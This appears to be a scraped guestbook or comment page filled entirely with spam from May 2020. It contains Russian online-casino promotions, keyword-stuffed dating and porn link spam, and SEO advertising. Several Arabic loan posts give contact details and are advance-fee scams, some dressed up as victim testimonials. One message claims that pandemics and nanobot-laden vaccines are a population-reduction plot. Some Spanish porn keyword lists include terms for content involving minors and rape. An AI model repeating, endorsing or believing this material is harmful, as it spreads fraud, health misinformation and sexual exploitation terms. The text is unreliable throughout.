предложат сотни (на некоторых сайтах – тысячи) оригинальных моделей, являющихся уникальными разработками производителей софта.В таких случаях игрок не влияет на эту характеристику; назначается ставка. http://new.eltaltd.ru/forum/user/72488/ Автомат Jewellery Store казино онлайн официальное зеркало Мы рекомендуем попробовать поиграть на классических аппаратах.Наземные игровые клубы отличаются от онлайн заведений. https://alfazon.ru/forum/user/172001/ Как выиграть в настоящую рулетку, как выиграть в рулетку на betfair Бонусы в казино Вулкан.Чтобы всегда быть вместе с любимым казино необходимо быть в курсе рабочих зеркал для доступа к сайту. http://hwskoszalin.home.pl/hws/component/k2/itemlist/user/638300 Играть в игры казино бесплатно lucky hunter Преимущества зеркал не только в постоянном доступе к порталу, но и в стабильной работе во время технических работ и хакерских атак на официальной странице.Мне нравится, играть удобно, сайт простой и понятный, как там и что устроено разберется даже новичок в этом деле. https://boochi.obr04.ru/forum/user/6897/ Играть в европейскую рулетку без регистрации, играть в рулетку онлайн без регистрации Иными словами, в казино Вулкан бесплатно можно узнать все про автомат, чтобы понять, насколько он вам подходит.Бонус за приглашение друга. http://intextv.by/forum/user/15187/ Рулетка для игры браво старс, рулетка для андроида на деньги Бонус можно охарактеризовать в виде приветственного подарка, новым участникам положено получить подарок такова политика всех онлайн казино 2019.Недавно нашел это казино и сразу бросил те, где играл до этого. https://speta.org/community/profile/slots43726444/ Слоты Fruit Cocktail 2 казино онлайн официальное зеркало Большое количество положительных отзывов о скорости выплат в online casino Drift, позволяет считать клуб практически лучшим на рынке онлайн-казино.И самые популярные казино онлайн постоянно поощряют своих игроков. http://alyans-auditorov.ru/forum/user/5022/ Игровой автомат Wild Horses играть без регистрации официальное зеркало За десятилетия существования виртуальное казино Вулкан приобрело солидную репутацию и имеет миллионы поклонников по всему миру.Поначалу бизнес взял хороший разгон и под руководством «славных парней» достиг небывалого успеха. https://vk.com/topic-909064_40693240 Игры слоты Jungle Queen без регистрации вулкан Классическая настольная игра для любителей карточных развлечений.Найти рабочие зеркала на Fresh Casino можно следующими способами: Зарегистрироваться и подписаться на рассылку. https://vk.com/topic-174369778_41305029 Маджонг цветочная страна во весь экран Документы запрашивают при подозрении на мошеннические действия.Так как у них не существует генератора случайных чисел. https://rep.by/forum/user/38961/ Игровые автоматы онлайн русская рулетка, игровые автоматы рулетка Где найти зеркало и как его использовать.Это действительно проверенное казино, которое всегда идёт навстречу игрокам. http://ntces.ru/communication/forum/user/116528/ Игровые автоматы фру, игровые автоматы фэро хоккей Очень важно, чтобы казино предлагало большое количество способов пополнения и снятия средств.А это уже не казино, а лохотрон. https://expatsinriga.lv/community/profile/roulette39460643/ Рулетка без депозита бонус за регистрацию, рулетка без ограничения ставок Возможность играть в русском онлайн-казино без регистрации.Долго наслаждаться успехом не позволяет очередное поручение.

MarkArese

Wednesday, May 27, 2020

https://vk.com/topic-905248_41303642 Игры слоты Queen Cleopatra правила стратегия официальное зеркало Среди многочисленных интернет площадок онлайн-игр казино ?? RioBet значительно отличается своей честной, надежной и весьма щедрой схемой работы с простым и удобным интерфейсом.Возврат не может превышать одной тысячи долларов. http://bonus2019.erektioongelmat.net/index.php?p=3 Играть игровые автоматы клубнички бесплатно https://pubattlegroundstips.com/community/profile/roulette33462447/ Как устроена рулетка в казино, как устроена рулетка строительная Нет никаких визуальных и функциональных отличий между зеркалом и основным порталом Frank Casino.Мобильная версия казино Вулкан Неон. http://xn----8sbc1b2adaei8h.xn--p1ai/component/k2/itemlist/user/13633 Как открыть игровой клуб sony playstation Пожалуй лучшее казино на данный момент.Если вы постоянный посетитель, то вы знаете, что для изучения новой игры всегда стоит начинать с бесплатного режима. http://happy-mam.ru/component/k2/itemlist/user/16696 Отзывы казино игрун Сайт «Зеркало Вулкан» создан, чтобы обеспечить постоянный доступ к любимым игровым автоматам на деньги именитого бренда.Два главных принципа, в соответствии с которыми подобраны игры, это разнообразие и качество. http://adailengenharia.com.br/v1/component/k2/itemlist/user/22502 Генератор случайных чисел для рулетки Можно играть в рулетку и бесплатно: в нашем казино есть такая возможность.Все символы идеально видны на небольших экранах, что обеспечивает приятное и полезное времяпрепровождение на сайте, даже если вы находитесь далеко от вашего компьютера. http://xn--161-5cdal0dzagvt.xn--p1ai/component/k2/itemlist/user/545435 Зароботок рулетка Среди преимуществ сайта отметим несколько пунктов: щедрая бонусная политика; интересные предложения для активных игроков (политика лояльности, турниры, акции); высокий процент отдачи слотов; надежность и честность проводимых транзакций; простое управление, доступное каждому новичку.Вам нужно нажать на ярлык соцсети: Вконтакте, Фейсбук, Твиттера, Одноклассников или Телеграма. https://aleksandarkrajnalic.com/community/profile/roulette20124615/ Рулетка казино рецензии, рулетка казино картинки Это может быть подарок за участие в турнирах и акциях, проводимых казино.Лучшие интернет казино на реальные деньги. http://arayur.bget.ru/forum/user/2609/ Играть рулетка бесплатно, играть рулетка казино Процедура создания учетной записи стандартная, занимает меньше минуты.Как понять, что виртуальная игровая площадка честная? https://vk.com/topic-905225_41430653 Слот автомат Prohibition казино онлайн официальное зеркало Сейчас представлено сотни однообразных казино, сайты которых не отличаются даже по своей цветовой гамме.Главный плюс перечисленных залов - и почему игроки выбирают их. http://maiak.by/forum/user/154665/ Игровой автомат Gnome правила отзывы 777 Официальный сайт онлайн компании переведен на четыре языка, включая русский, в процессе игры должно возникать минимум вопросов.Регулярно проводятся щедрые лотереи и выгодные турниры на слотах. http://xn----8sbc1b2adaei8h.xn--p1ai/component/k2/itemlist/user/13603 Симулятор клубнички игровые автоматы скачать бесплатно Даже если вы собираетесь играть на деньги, все равно рекомендуется начать с него, чтобы освоиться с правилами и бонусами, выработать стратегию игры.При регистрации можно получить до 100% от суммы депозита. http://www.harvestemple.org/component/k2/itemlist/user/240232 Азино три топора бонус 777 руб Активные пользователи получают по рассылке бонусы и промокоды.Тем временем Сэм проявив слабость влюбляется по уши в элитную куртизанку по имени Джинджер, и это несмотря на то, что девушка его явно в него не влюблена, и более того она питает специфические чувства к другому мужчине. http://erp-corp.ru/forum/user/568/ Как обыграть программу рулетка, как обыграть рулетку онлайн Я говорю не только про количество, разнообразие и качество так же важны.Рейтинг популярности основан на мнениях и отзывах обычных пользователей и профессиональных игроков. https://vk.com/topic-906370_41704704 Игровой автомат Autumn Queen без регистрации официальное зеркало Если вам повезет выиграть в слотах и вы не слишком азартный человек, вероятно вам захочется вывести деньги, а не пустить их на игру и, вероятно, проиграть.И Азартмания казино делает все, чтобы играть вам было интересно. https://center-cloud.ru/forum/user/4692/ Игровой деньги Pharaoh's Tomb играть бесплатно онлайн официальное зеркало Выигрыш, полученный при использовании бесплатных вращений, формирует бонусную сумму, которую необходимо отыграть с вейджером х30.Pin Up предлагает лицензионные игры от лучших производителей программного софта, начиная от пионеров этого дела -Microgaming, Belatra, Amatic и заканчивая новичками, получившими максимум положительных отзывов от пользователей - MrSlotty, Habanero.

Concepcion

Wednesday, May 27, 2020

gay christian singles dating https://datingsexmarriage.thomasdobo.eu gay christian singles dating lesbian dating vancouver

Rosalina

Wednesday, May 27, 2020

top dating app in canada https://singleteendating.moodblanket.eu top dating app in canada list of cupid dating sites

Bessie

Wednesday, May 27, 2020

dating app for plus size singles https://datingappforjustsex.vidin-novoselo.eu dating app for plus size singles german gay dating site

mr scott

Friday, May 22, 2020

مرحبا هل تحتاج إلى قرض مريح لرضاك؟ نحن نقدم قرضًا بسعر فائدة معقول بنسبة 2٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 20 عامًا على الأكثر. هل تحتاج إلى قرض فوري وسهل وبأسعار معقولة لدفع الدين ، أو بدء عمل تجاري ، أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com WhatsApp: +79265038734 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. مع تحياتي السيد سكوت accessloanfirm2030@gmail.com

Camille

Friday, May 22, 2020

best dating websites for african americans https://imgur.com/a/93iU8IS best dating websites for african americans great online dating taglines

Vickie

Friday, May 22, 2020

free deaf dating site in usa https://teendatingforum.unepresidentepourleurope.eu free deaf dating site in usa the worst online dating sites

Jerome

Friday, May 22, 2020

free online dating in oklahoma https://imgur.com/a/stkPZPO free online dating in oklahoma free online dating inn oklahoma

Sabrina

Thursday, May 21, 2020

السلام عليكم جميعا و قراءة العائلة لشهادة حياتي. كنت مدينًا منذ حوالي عامين ولم أتمكن من سداد ديني ، ذهبت إلى persion ولم أتمكن من التواصل مع عائلتي اعتقدت تقريبًا أنني سأنتهي هناك ولكن الله يساعدني في الحصول على محامٍ وجهني إلى شخص فريد اتصلت شركة القروض بالبنك الدولي ، ولكن لم أستطع الاتصال بهم مباشرة ، كان علي أن أذهب من خلال وكيلهم Called Armani mohammed ، لذا ساعدني المستثمر arman في استعادة حريتي واستعادة رجل مجاني وسعيد أود أن أشكرك سيدي أرماني أنت حقاً الله عز وجل ليساعدك في ذلك إذا كان لديك نفس المشاكل مثلي أو أكثر ولا أقل وتحتاج إلى مساعدة عاجلة عن طريق التقديم على عنوان البريد الإلكتروني: mohammed_investors2009@hotmail.com أو whatsApp: +447723727114

Hudson

Thursday, May 21, 2020

japanese dating site australia https://imgur.com/a/MGgqUNI japanese dating site australia asian and latino dating

Jamel

Thursday, May 21, 2020

gay dating for seniors https://imgur.com/a/bY3YsES gay dating for seniors professional lesbian Dating Site Uk

Moises

Thursday, May 21, 2020

top ten best dating sites uk https://imgur.com/a/LPU5UGu top ten best dating sites uk sc online dating

Jonathon

Wednesday, May 20, 2020

online dating halifaax nova scotia https://imgur.com/a/KuiPGkQ online datting halfax nova scotia what is dating service

Jamey

Wednesday, May 20, 2020

speed dating worksop https://imgur.com/a/DRTSAej speed dating worksop best ts dating site

data bu

Wednesday, May 20, 2020

ubov https://maps.google.ba/url?q=http://web.hcps.ptc.edu.tw/dyna/webs/gotourl.php?url=https://kures.co/cbd/cbd-oil/cbdistillery-full-spectrum-cbd-oil-83-mg/ fch

Chara

Wednesday, May 20, 2020

eelite singles vs eharmony https://imgur.com/a/wDTHTUe elite singles vs eharmony Dating sites quora

Renate Gordon

Tuesday, May 19, 2020

Do you want more people to visit your website? Get hundreds of keyword targeted visitors directly to your site. Boost revenues super fast. Start seeing results in as little as 48 hours. To get details Visit: http://www.trafficmasters.xyz

Tomoko Pasco

Tuesday, May 19, 2020

Sick of paying big bucks for ads that suck? Now you can post your ad on 1000s of advertising websites and it'll cost you less than $40. Never pay for traffic again! To find out more check out our site here: http://www.adpostingrobot.xyz

Juan

Tuesday, May 19, 2020

best dating apps except tinder http://datingcampaign.le-boudoir.eu/ best dating apps except tinder dating app tinder alternative

girl-for-old-men

Tuesday, May 19, 2020

http://micasacom.it/senior-online-dating-website-no-membership-required/ best rated online dating sites for singles

Donnell Goldfarb

Tuesday, May 19, 2020

Hello, how about getting better backlink indexing service? We just left the beta testing phase on the GSA forum and the feedback is great. Old indexing systems have been obsolete for a while. We are very different. Our engine is excellent for the main search engines: Google, Yandex and Bing. Our formulas are suitable for SEO agencies, submissions and unlimited URLs. We offer you 24H test to show you that we are the best indexing services : http://boards.collectors-society.com/ads/adclick.php?bannerid=690&zoneid=3&source=&dest=http://www.miniurlz.com/LP-IN2 Pass: G8D2EZ9P3 See you soon

Josh

Tuesday, May 19, 2020

online gay datiung siites in south africa https://imgur.com/a/2NOTSbG online gay dating sites in south africa evow online dating site foor relationships

Neil

Tuesday, May 19, 2020

search all dating sites for person https://imgur.com/a/boIivia search alll dating sites for person free afair Website

Adolph

Tuesday, May 19, 2020

sugar ummy datiing site https://imgur.com/a/WNrrgrM sugar mummy dating site speed dating taiwan

Brandie

Tuesday, May 19, 2020

dating sites similar to okcupid https://imgur.com/a/gBYnLY1 dating sites similar to okcupid online dating Earn money

Jonnie

Monday, May 18, 2020

tantra speed dating https://imgur.com/a/EOyh1no tantra speed dating tantra speed dating

Shelby Madrid

Sunday, May 17, 2020

The analysis of the critical situation in the world may help Your business. We don't give advice on how to run it. We highlight key points from the flow of conflicting information. We call this situation: "Big Brother operation". Fact: pandemics; Agenda: control over the human population; Aim: reduction of the population; Who: a group of vested interests. Means: genetic engineering of viruses and vaccines; production of nanobots; mass-media communication satellites; big data; A.I.; global wi-fi. Ways: use and/or elaborate a pandemic carrier; mass media scares the population; load vaccines with nanobots; mandatory vaccination; control and direct humans. Thank You for the time of reading our unsolicited message! God bless You. See https://bit.ly/evilempire-blog See: https://www.amazon.com/s?k=fomenko+history+fiction+or+science&i=stripbooks-intl-ship&crid=20JCWH6NLWFHJ&qid=1589389931&sprefix=fomenko2C347&ref=sr_pg_1

Alisia

Friday, May 15, 2020

data conversion online jobs https://maslinicainfo.eu data conversion online jobs speed dating palo alto ca

Mayra

Thursday, May 14, 2020

find online data entry jobs https://cherrydating.site find onlune data entry jobs find online data entry jobs

Jesenia

Thursday, May 14, 2020

can you do eharmony for oone month https://datingstamp.site can you ddo eharmony for one month gay dating site canada

Lawerence

Thursday, May 14, 2020

patti stanger online dating service https://datingsites.janblokker.eu patti stanger online dating service native american dating facebook

Hubert

Thursday, May 14, 2020

best ghanaian dating sites https://toneruzlet.eu best ghanaian dating sites west indian dating sites

Jorja Hamblin

Wednesday, May 13, 2020

Want free advertising for your website? Check out: http://www.submityourfreeads.xyz

Callum

Wednesday, May 13, 2020

flirt singles local https://commercialdating.site flirt singles local 9ja christian singles

Dani

Wednesday, May 13, 2020

how to search if someone is on dating sites https://toneruzlet.eu how to search if someone is on dating sites how To Search if someone Is on dating sites

Kourtney

Wednesday, May 13, 2020

no registration dating sites https://evendating.guaita.eu no registration dating sites no registration dating sites

CharlesSiz

Wednesday, May 13, 2020

[b][url=https://novostroyka63.ru/]Фундамент под ключ цена[/url][/b] Создание дома вашей мечты - это оригинальная возможность, спланировать и претворить в жизнь нечто воистину уникальное во всех отношениях. Возведение фундамента - это в целом первоначальная модель ремонта, в процессе которой домик строится. При расчете замена фундамента под старым деревянным домом цена предусматривается весьма много факторов. Средняясумма возведения домов фундамента составляет приблизительно от 10$ за кв.метр . Погреб сможет умножить итоговую стоимость каждого объекта недвижимости, предоставляя необходимое помещение ради организации хранения и порой рабочее пространство. Наша профессиональная команда по конструированию и возведенью фундамент под памятник на кладбище цена может помочь выстроить жилище, о котором вы всегда мечтали. От начала до конца наша специализированная компания в Череповец позаботимся о всех без исключения процессах, чтобы заказчику не довелось тревожиться о деталях. Специализированная международная компания в Киселевск несет юридическую ответственность за проект, а не вы, именно поэтому организация в Борисоглебск имеют интерес в том, затем чтобы довести до конца строительство коттеджа быстрее и эффективнее. Узнайте о сваи винтовые для фундамента цены в вытегре у спспециалистовециалистов корпорации.

Susan Benson

Tuesday, May 12, 2020

مرحبا ، هل تواجه تحديات مالية في وقت غير مناسب؟ أنا سوزان بنسون أنا مقرض وأيضًا مستشار مالي. في ضوء الركود الاقتصادي الذي يمر به العالم نتيجة فيروس كورونا الناشئ ، مع وجود فائض نقدي في مؤسستنا ، فإننا نهدف إلى تسريع تداول الأموال من خلال تمويل العملاء داخل وخارج أوروبا بقرض. هل تحتاج إلى قرض عاجل لبدء مشروع تجاري أو شراء منزل أو سيارة؟ هل تحتاج إلى قرض لأسباب شخصية أخرى؟ إذا كنت تقرأ هذا وتعلم أنك بحاجة إلى دعم مالي ، فأريدك الاتصال بشركتي. نقدم جميع أنواع خدمات القروض على حد سواء القروض المضمونة وغير المضمونة. يمكنك الاتصال بنا عبر البريد الإلكتروني: sunshinefinancialgroupinc@gmail.com أو راسلني مباشرة على WhatsApp عبر: 00447903159998 واستقبل استجابة في الحال. نحن شركة خدمات مالية شاملة ونحن ملتزمون بمساعدتك على تحسين أهدافك المالية طويلة المدى وقصيرة المدى. الميزات والفوائد ؛ * الراحة - يمكنك التقدم بطلب للحصول على قرض في أي وقت وفي أي مكان. * المبلغ المرن - أنت تقرر المبلغ الذي تريد اقتراضه. * التمويل المباشر السريع - احصل على قرضك في غضون 24 ساعة بعد الموافقة عليه. * معدل فائدة مرن 3.0٪. * معدلات الموافقة عالية * تحصل على فرصة اختيار تاريخ السداد ، أسبوعيًا أو شهريًا أو سنويًا لمدة 1-30 عامًا. * تطبيق بسيط عبر الإنترنت. * التوجيه والخبرة الشخصية. * أي رسوم خفية يجد الكثير من الناس صعوبة في الحصول على قرض من بنوكهم المحلية أو معاهد مالية أخرى لبعض الأسباب. إذا كنت حقًا بحاجة إلى حل لتحدياتك المالية ، فما عليك سوى الكتابة إلى مؤسستي وسنساعدك في الحصول على قرض. لقد ساعدنا عددًا كبيرًا من الأفراد والمنظمات الذين يواجهون صعوبات مالية في جميع أنحاء العالم. عندما تتقدم بطلب معنا ، فإنك تقدم طلبًا مع شركة موثوقة تهتم باحتياجاتك المالية ، وأولويتنا القصوى هي استقرارك المالي وسيتم الاعتناء بك خلال العملية بأكملها. لمزيد من المعلومات حول عرض القرض الخاص بنا ، يرجى إرسال طلب القرض الخاص بك إلينا عبر: البريد الإلكتروني: sunshinefinancialgroupinc@gmail.com OR؛ WhatsApp: +447903159998

Shanna Maughan

Tuesday, May 12, 2020

Hello, Our company makes handmade Large world globes that can be customized for your brand, company or interior design https://bit.ly/www-largeglobes-com Please let me know if you would be interested in a custom large world globe and we can send more information. Thank you. Best regards, Remus Gall Globemaker at www.largeglobes.com Project manager at Biodomes www.biodomes.eu +40 721 448 830 Skype ID office@biodomes.eu Str. Vonhaz nr 2/a Carei, Romania ----------------------------- remove my website from your list https://bit.ly/2VBnm2R

labedroomInses

Monday, May 11, 2020

[b][url=https://labedroom.com/]Furniture for sale[/url][/b] Come in outstanding store in Jefferson Park production for office and home use and cafe! presents over 12000 appointment furniture and goods for a country house and apartments or restaurant. Natural rattan , are used for the purposes of production our branded products , possesses strength and wear resistance, wonderful external data. All furniture processed special compounds, due to which their surface does not absorb water, stable to extremes ambient temperature air and exposure of the sun. Vya our furniture excellent retains its functions even in restaurant in open spaces . In the presented online catalog you offered photos furniture for dining room, hall, bedroom, children's room , as well as intended for organization of storage area - dressers and cabinets, cabinets and others . In our store in Fairfax you can buy everything for any your home not expensive . We invite client come to store , holding in Westwood what cares about its shopper.

Bonny

Monday, May 11, 2020

data entry test online https://arganique.eu data entry test online transfer data from quickbooks desktop to online

Dane

Sunday, May 10, 2020

online dating european singles https://fbewarsaw2018.eu online dating european singles great opening lines online dating

Huong Lu

Sunday, May 10, 2020

أنا هوونج لو بالاسم. أنا أعيش في الولايات المتحدة الأمريكية ، وأريد استخدام هذه الوسيلة لتنبيه جميع طالبي القروض إلى توخي الحذر الشديد لأن هناك محتالين في كل مكان. منذ شهرين الماضيين كنت مرهقًا ماليًا ، وبسبب اليأس ، تم خداعي من قبل مقرضين للقرض عبر الإنترنت. لقد فقدت الأمل تقريبًا حتى أحالني صديقي إلى مقرض موثوق به للغاية يدعى الآنسة سوزان جيمس الذي أقرضني قرضًا غير مضمون بقيمة 68000 دولار أمريكي أقل من 3 ساعات دون أي ضغوط. إذا كنت بحاجة إلى أي نوع من القروض ، فما عليك سوى الاتصال بها الآن عبر: susanjamesloanfirml07 @gmail. com أو موقع الويب: (https: //susanjamesloanfirm6. wixsite. co m/ mysite) أنا أستخدم هذا الوسيط لتنبيه جميع طالبي القروض بسبب الجحيم الذي مررت به في أيدي تلك المقرضين القروض وهمية. وأنا لا أرغب حتى أن يمر عدوي بمثل هذا الجحيم الذي مررت به في أيدي هؤلاء المقرضين المحتالين عبر الإنترنت ، وسأريدك أيضًا أن تساعدني في تمرير هذه المعلومات إلى الآخرين الذين يحتاجون أيضًا إلى قرض بمجرد أن قد حصلت على قرضك من الآنسة سوزان جيمس.

Huong Lu

Sunday, May 10, 2020

أنا هوونج لو بالاسم. أنا أعيش في الولايات المتحدة الأمريكية ، وأريد استخدام هذه الوسيلة لتنبيه جميع طالبي القروض إلى توخي الحذر الشديد لأن هناك محتالين في كل مكان. منذ شهرين الماضيين كنت مرهقًا ماليًا ، وبسبب اليأس ، تم خداعي من قبل مقرضين للقرض عبر الإنترنت. لقد فقدت الأمل تقريبًا حتى أحالني صديقي إلى مقرض موثوق به للغاية يدعى الآنسة سوزان جيمس الذي أقرضني قرضًا غير مضمون بقيمة 68000 دولار أمريكي أقل من 3 ساعات دون أي ضغوط. إذا كنت بحاجة إلى أي نوع من القروض ، فما عليك سوى الاتصال بها الآن عبر: susanjamesloanfirml07 @gmail. com أو موقع الويب: (https: //susanjamesloanfirm6. wixsite. co m/ mysite) أنا أستخدم هذا الوسيط لتنبيه جميع طالبي القروض بسبب الجحيم الذي مررت به في أيدي تلك المقرضين القروض وهمية. وأنا لا أرغب حتى أن يمر عدوي بمثل هذا الجحيم الذي مررت به في أيدي هؤلاء المقرضين المحتالين عبر الإنترنت ، وسأريدك أيضًا أن تساعدني في تمرير هذه المعلومات إلى الآخرين الذين يحتاجون أيضًا إلى قرض بمجرد أن قد حصلت على قرضك من الآنسة سوزان جيمس.

Melvina

Sunday, May 10, 2020

good dating website profile examples https://wolkensteingroeden.eu good dating website profile examples good dating website profile examples

Armando

Saturday, May 9, 2020

safst online dating site https://datingjourney.site safest online dating site the office uk online dating

Norris

Saturday, May 9, 2020

pelicula porno en castellano peliculas porno gay en castellano videos porno sexo por dinero chico busca maduro videos porno hardcore tetas gigantes porno shakira sexo peliculas porno antiguas sexo interracial amateur sexo almansa chico busca chico toledo amaia salamanca sexo porno maduras negras descargar videos porno gay gratis sexo lleida porno espnol chico busca chico ibiza chico busca chico tudela chica busca chico en ourense porno gay espanoles sexo figueres porno sado sexo gordas maduras chicas aciendo sexo porno casero lesbico mejor porno amateur pelis sexo peliculas porno gay en castellano porno adulto gratis actrices porno rumanas porno gratis en espanol sexo milf videos porno caseros virgenes porno porno gay menores sexo asturias preguntas sobre el sexo imagenes porno gratis videos porno movil contactos sexo bcn videos de sexo con mujeres mayores sexo milf videos pornos reales porno tune contactos chicas ourense chica busca chico san sebastian contactos con mujeres valladolid porno con abuelas contactos mujeres benicarlo contactos sexo ourense videos porno madre y hija

Bobby

Friday, May 8, 2020

porno casero amater gratis videos porno camara oculta sexo real en el cine sexo en ronda malaga videos porno movil gratis videos porno pollas gigantes sexo telefonico barato ver escenas de sexo chica contacto alicante porno anos 20 anuncios de sexo gay sexo en barbastro madre e hija porno contactos mujeres granada videos porno caliente chicas buscando amigos con derecho videos de sexo en playas nudistas sexo gratis en valencia porno paris sexo por sexo contactos con mujeres en cadiz porno gay chino contactos con mujeres en sevilla chicas contactos vigo sexo videos gratis juegos porno para android conocer gente huelva porno chilango videos porno alta definicion sexo escatologico contactos mujeres en elche pastillas para sexo videos porno maduras anal porno zorra videos porno transexuales gratis sexo gratis palma sexo raro xxx sexo en javea sexo lesviana sexo exhibicionista videos porno violacion sexo gay primera vez porno catalan porno negras gordas mejores paginas videos porno sexo en la consulta sexo fotos porno simpson sexo liberal contactos con mujeres maduras en madrid miren ibarguren porno

Ara

Friday, May 8, 2020

store the data online https://backdating.site store the data online Asiqn dating international

Mitchell

Friday, May 8, 2020

charmley dating site https://blossomdating.site charmley dating site charmley dating site

Tanesha

Friday, May 8, 2020

free hookup sites no credit card https://albastone.eu free hookup sites no credit card private dating sites

Sylvester

Friday, May 8, 2020

gefahren online dating https://onthedocks.eu gefahren online dating good free online dating

Dee

Friday, May 8, 2020

dating sites for gay sugar daddies https://milleniumdating.site dating sites for gay sugar daddies online dating ldr

Avis

Friday, May 8, 2020

scottsdale dating services https://chabertonmarathon.eu scottsdale dating services best online dating apps for relationships

3aplus63Dyere

Friday, May 8, 2020

[b][url=https://3aplus63.ru/product-category/gidravlicheskie-ruchnye-ispytatelnye-nasosy/]гидравлические ручные испытательные насосы[/url][/b] Созданная нами предприятие Новочеркасск - сегодня это ведущий поставщик промышленного оборудования. Можно купить в Каменск-Уральскийнемало решений для такелажного и подъемного, промышленного и складского, а также весового и гидравлического промышленного оборудования, в том числе тали ручные рычажные,тали ручные червячные передвижные взрывобезопасные,домкраты гидравлические телескопические,канаты для лебедок mtm,балки концевые подвесные,тележки гидравлические с электропередвижением,тележки для балок подвесных концевых холостые,весы крановые электронные. Мы являемся производителем непростых решений для индустриального парка оборудования. Мы высококлассная организация по выпуску промышленного оснащения с более чем 6-летним навыком работы. Интернет магазин грузоподъемного парка оборудования выходит за пределы интернет-реализации и товаров по дисконтной цене, наша фирма может оказать консультации и дополнительно предоставить специализированные услуги на заказ. На вебсайте мы стремимся предоставить нашим клиентам "универсальный он-лайн магазин" в пользу всех ваших надобностей в промышленном и складском оборудование. Мы стремимся предоставить особо высококонкурентные стоимость товаров в индустрии, оптимизируя при этом превосходнейшее обслуживание покупателей.

Linda

Thursday, May 7, 2020

لدي بنجامين دوغلاس فرصة للفشل فقط مثل الآخرين: لكنه قدم لي خطأ بإعطائي قرضًا [البريد الإلكتروني douglasloanfirm2@gmail.com] انها حقا تعج بالمحتالين على الإنترنت ، حقا ليست عادية. في واحد الأسبوع فقدت 5،200 دولار للدفعات. كان لدي استفسارات في Dandy Cash.com وجاءت بخيبة أمل فقط. لقد كنت ضحية للعديد من شركات القروض خدعني حتى وجدت أخيرًا شخصًا لا يزال أمينًا بنيامين دوغلاس [douglasloanfirm2@gmail.com] بصراحة اعتقدت أنها ستسير بنفس الطريقة مثل تلك التي قبله ، أنا كان مترددًا ومتشككًا بعض الشيء ولكن بالنظر إلى الوضع المتضائل من حياتي بشكل عام ، لم يكن لدي أي خيار آخر سوى المضي في ذلك القرض مع بنيامين وتوقع منه أن يفشل ؛ لذلك أخذت المخاطرة على أي حال و تمكنت من الاقتراض منه 55 ألف دولار بشكل مدهش. لذلك ، أنا أتوسل والتماسكم هناك الذين ربما يكونون في وضع مشابه فوضى مالية للقيام بأعمال تجارية مع بنجامين دوغلاس أو غير ذلك من خطر تمزق مثل تلك التي سبقت لي فعل دوغلاس لي والهروب مع بلدي بشق الأنفس مال. بنيامين دوغلاس هو الوحيد الذي أثق به لأنه أعطاني القرض المطلوب فشل الآخرين ، لا تتصل بأي شخص آخر غير دوغلاس لأنهم قد يكونون خداعًا يتظاهرون بأنهم مقرضون للقروض فهم يمزقون الناس من أموالهم التي حصلوا عليها بشق الأنفس ، يبحث المدعي العام الأمريكي عن هؤلاء الرجال لمعاقبتهم على عملهم الشرير. لذلك لا تتصل بهؤلاء الرجال وبالتالي تعزيز رذائلهم الشائنة في مجتمعنا ، سوف يفعلون ذلك فقط راوغك كما فعلوا بي. من أجل سلامتك والاتصال الجيد بنيامين DOUGLAS على [البريد الإلكتروني douglasloanfirm2@gmail.com]

Parbriz Auto Iveco

Wednesday, May 6, 2020

Hello, i feel that i noticed you visited my web site thus i came to go back the favor?.I am trying to find things to enhance my website!I assume its adequate to make use of a few of your ideas!! http://parbriz-la-domiciliu.ro

Sabrina

Tuesday, May 5, 2020

herpes dating sites free best https://wolkensteingroeden.eu herpes dating sites free best when to delete online dating profile

Harold

Tuesday, May 5, 2020

dating website nyc https://fbewarsaw2018.eu dating website nyc dating website lingo

Hazel

Tuesday, May 5, 2020

speed dating party ideas https://lauratulaite.eu speed dating party ideas how to recover data from pen drive online free

mr oscar

Tuesday, May 5, 2020

مرحبا، هل تحتاج إلى قرض عاجل لتسوية ديونك أم تحتاج إلى قرض رأسمالي لتحسين عملك؟ هل تحتاج إلى قرض توطيد أو قرض رهن عقاري؟ ابحث عن المزيد ، لأننا هنا لإزالة جميع مشاكلك المالية في الماضي. هذه شركة ائتمان بيئية. نحن نقدم قروض لأولئك الذين يرغبون في سعر فائدة 3 ٪ بأسعار معقولة. النطاق من 1،000.00 إلى حد أقصى 50،000،000.00 يورو. إن قروضنا مؤمنة بشكل جيد ، لأن أقصى قدر من الأمن هو أولويتنا. اتصل بنا عن طريق البريد: ecofinance2020@gmail.com Whatsapp: +2347035513355 بإخلاص، السيد أوسكار برنارد ecofinance2020@gmail.com

mr oscar

Tuesday, May 5, 2020

مرحبا، هل تحتاج إلى قرض عاجل لتسوية ديونك أم تحتاج إلى قرض رأسمالي لتحسين عملك؟ هل تحتاج إلى قرض توطيد أو قرض رهن عقاري؟ ابحث عن المزيد ، لأننا هنا لإزالة جميع مشاكلك المالية في الماضي. هذه شركة ائتمان بيئية. نحن نقدم قروض لأولئك الذين يرغبون في سعر فائدة 3 ٪ بأسعار معقولة. النطاق من 1،000.00 إلى حد أقصى 50،000،000.00 يورو. إن قروضنا مؤمنة بشكل جيد ، لأن أقصى قدر من الأمن هو أولويتنا. اتصل بنا عن طريق البريد: ecofinance2020@gmail.com Whatsapp: +2347035513355 بإخلاص، السيد أوسكار برنارد ecofinance2020@gmail.com

Leonie

Monday, May 4, 2020

online dating any good https://fbewarsaw2018.eu online dating any good best online dating username examples

Deanne

Sunday, May 3, 2020

bild online dating https://roemenievakantie.eu bild online dating free online dating seattle

Doris

Sunday, May 3, 2020

russian singles dating in los angeles https://en13849.eu russian singles dating in los angeles serious dating sites in kenya

Patricia

Sunday, May 3, 2020

pakistani singles toronto https://tastingeurope.eu pakistani singles toronto speed dating sydney 20s

Normand

Sunday, May 3, 2020

eharmony register https://eigenhuisspanje.eu eharmony register dating sites azerbaijan

hack game play8oy

Sunday, May 3, 2020

Thanks for some other informative blog. The place else could I get that type of information written in such an ideal means? I have a venture that I'm just now running on, and I've been on the glance out for such information. http://Woodscienceandtechnology.com/__media__/js/netsoltrademark.php?d=www.lezaixin.com%2Fhome.php%3Fmod%3Dspace%26uid%3D955312%26do%3Dprofile%26from%3Dspace

Opal

Sunday, May 3, 2020

nudist dating site http://vacationatcost.net/__media__/js/netsoltrademark.php?d=datingswapping.oglaszamy24.eu nudist dating site sober dating chicago

Flynn

